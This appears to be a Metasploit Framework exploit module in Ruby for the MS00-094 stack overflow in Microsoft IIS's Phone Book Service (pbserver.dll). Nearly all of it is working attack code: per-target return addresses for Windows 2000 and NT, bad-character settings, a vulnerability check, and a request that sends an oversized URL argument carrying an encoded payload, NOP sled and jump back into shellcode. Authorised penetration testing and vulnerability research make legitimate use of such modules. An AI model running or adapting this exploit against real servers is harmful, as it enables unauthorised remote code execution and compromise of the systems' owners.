Microsoft IIS Phone Book Service Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Microsoft IIS Phone Book Service Overflow',  
'Description' => %q{  
This is an exploit for the Phone Book Service /pbserver/pbserver.dll  
described in MS00-094. By sending an overly long URL argument  
for phone book updates, it is possible to overwrite the stack. This  
module has only been tested against Windows 2000 SP1.  
},  
'Author' => [ 'patrick' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2000-1089' ],  
[ 'OSVDB', '463' ],  
[ 'BID', '2048' ],  
[ 'MSB', 'MS00-094' ],  
],  
'Privileged' => false,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 896,  
'BadChars' => "\x00\x0a\x0d\x20%&=?",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['Windows 2000 SP1', { 'Ret' => 0x77e8898b }], # jmp esp kernel32.dll  
['Windows 2000 SP0', { 'Ret' => 0x77ea162b }], # call esp kernel32.dll  
['Windows NT SP6', { 'Ret' => 0x77f32836 }], # jmp esp kernel32.dll  
],  
'DisclosureDate' => 'Dec 04 2000',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URL', [ true, "The path to pbserver.dll", "/pbserver/pbserver.dll" ]),  
], self.class)   
end  
  
def check  
print_status("Requesting the vulnerable ISAPI path...")  
res = send_request_raw({  
'uri' => datastore['URL']  
}, 5)   
  
if (res and res.code == 400)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
  
print_status("Sending overflow...")  
  
res = send_request_raw({  
'uri' => datastore['URL'] + '?&&&&&&pb=' + payload.encoded + [target['Ret']].pack('V') + make_nops(8) + Rex::Arch::X86.jmp(-912)  
}, 5)  
  
handler  
  
end  
  
end  
`